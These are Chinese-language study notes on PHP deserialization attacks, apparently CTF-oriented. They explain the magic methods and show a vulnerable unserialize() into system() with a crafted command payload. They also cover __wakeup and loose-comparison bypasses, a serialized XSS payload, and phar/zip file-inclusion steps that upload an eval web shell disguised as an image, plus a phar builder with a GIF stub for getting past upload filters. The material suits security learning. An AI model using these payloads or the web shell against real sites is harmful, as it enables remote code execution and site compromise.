PHP:
序列化通过serialize(),反序列化unserialze()
只有属性会被序列化,而方法不会被反序列化。
产生原因:
开发时魔术方法使用不当或者对象方法类似有类似魔术方法的逻辑路东,可以白盒代码审计得到。
魔术方法:
在PHP中,当使用unserialize()
函数对一个字符串进行反序列化时,如果字符串表示的是一个对象,PHP会尝试调用该对象类中的某些特殊方法来辅助创建对象。这些特殊方法被称为魔术方法(Magic Methods)。
__construct() 当一个对象创建的时候被调用
__destruct() 当一个对象销毁的时候被调用
__toString() 当一个对象被当作字符串使用的时候被调用
__invoke 当尝试以调用函数的方式调用一个对象时,会被调用
__sleep() 当对象在被序列化之前运行
__wakeup() 当在被反序列化之后调用
__get() 访问私有变量或不存在的变量均会触发
__call()访问不存在的方法时,会触发
__set() 给私有变量或不存在的变量赋值时,会触发
__unset 对私有变量或不存在的变量调用unset时,会触发
//其中__construct()和__wakeup()比较重要
//触发不同的魔术方法
<?php
class myClass{
public $name = "hello";
private $age = "20";
function __construct(){
$this->age = $age;
echo $this->name.",I'm __construct().\n";
}
function __destruct(){
echo $this->name.",I'm __destruct().\n";
}
function __toString(){
echo $this->name.",I'm __toString().";
return "111\n";
}
function __invoke(){
echo $this->name.",I'm __invoke().\n";
}
function __sleep(){
echo $this->name.",I'm __sleep().\n";
return array('name');
}
function __wakeup(){
echo "hello,I'm __wakeup().\n";
return 123123;
}
function __get($arg1){
echo "hello,I'm __get().\n";
}
function __set($arg1, $value){
echo "hello,I'm __set().\n";
}
function __unset($name)
{
echo "hello,I'm __unset().\n";
}
function __call($name, $value)
{
echo "hello,I'm __call().\n";
}
private function hidden(){
}
}
// 触发 __construct()
$obj = new myClass();
// 触发 __toString()
echo $obj;
// 触发 __invoke()
$obj();
// 触发 __sleep()
$str1 = serialize($obj);
// 触发 __wakeup()
unserialize($str1);
// 触发 __get()
echo $obj->age;
// 触发 __set()
$obj->age = 30;
// 触发 __unset()
unset($obj->age);
// 触发 __call()
$obj->hidden();
?>
代码实例:
1.反序列化与序列化
<?php
class myClass{
public $name="Donald.J.Trump";
private $age="77";
protected $sex="man";
}
$a=new myClass();
var_dump(serialize($a));
?>
var_dump(serialize($a));
string(103) "O:7:"myClass":3:{s:4:"name";s:14:"Donald.J.Trump";s:12:" myClass age";s:2:"77";s:6:" * sex";s:3:"man";}"
2.反序列化简单利用
<?php
Class C{
public $cmd='ipconfig';
public function __destruct()
{
system($this->cmd);
}
public function __construct(){
echo 'sb';
}
}
unserialize($_GET[c]);
?>
//可以看到这里网页的源码创建了一个类,有__destruct、__construct。
//对我们有用的只有__destruct,我们可以使用 __destruct方法去调用属性$cmd,执行一些想要的效果
<?php
Class C
{
public $cmd = 'whoami';
}
$test=new C;
echo(serialize($test));
//将会输出
O:1:"C":1:{s:3:"cmd";s:6:"whoami";}
//此时localhost/test1/mysite/test/1.php?c=O:1:"C":1:{s:3:"cmd";s:6:"whoami";}
绕过:
1.--wakeup绕过(CVE-2016-7124)
影响环境:php5 ~ 5.6.25、php7 ~ 7.0.10
2.PHP正则匹配绕过
1.数字: 8=+8
3.PHP弱碰撞绕过
在PHP中如果存在 if(md5($a)==sha1($b))
则只是验证两者数值是否相等,而不验证类型则可以进行数组绕过:a[]=1&b[]=2
原生类:
0.生成原生类
<?php
$classes=get_declared_classes();
foreach ($classes as $class){
$methods=get_class_methods($class);
foreach ($methods as $method){
if(in_array($method,array(
//'__destruct',
//'__toString',
'__wakeup',
//'__call',
//'__callStatic',
//'__get',
//'__set',
//'__isset',
//'__unset',
//'__invoke',
//'__set_state'
))){
print $class .'::'.$method.'\n';
}
}
}
1.常见使用的原生类
2.原生类如何使用
浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)
TEST1(XSS)
发现该题目使一个XSS的反序列化漏洞,我们需要用到原生类__toString进行构造XSS漏洞PHP: Error::__toString - Manual
<?php
$a=new Exception("<script>alert('xss')</script>");
echo(base64_encode(serialize($a)));
?>
TEST2()
Phar反序列化
PHP中常见的流包装器如下:
file:// 访问本地文件系统,在用文件系统函数时默认使用该包装器
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s) urls
php:// 访问各个输入/输出流(I/O Streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// php归档
ssh2:// Secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
Phar与文件包含
0.环境存在文件包含代码且可以正常上传文件(图片)
<?php
$filename = $_GET['file'];
include($filename);
?>
1.准备木马文件shell.php:
<?php @eval($_POST[1]);?>
2.将其压缩为shell.zip并且改名为shell.png上传
3.使用phar协议进行解析:localhost?filename=phar://shell.png/shell.php
zip://协议与文件包含
与上述步骤相同0-2相同
使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件
?filename=zip://D:\phpStudy\WWW\fileinclude\test.zip%23test.php
Phar文件的结构:
Phar文件的生成
<?php
class TestObject{ //类需要按照源码给的类修改
}
@unlink('php.phar');
$phar = new Phar('php.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'."<?php __HALT_COMPILER();?>");//设置stub绕过白名单上传
$o = new TestObject(); //这里需要和限制的类名上面对齐
$o -> output = 'phpinfo();';
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString('test.txt',"test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>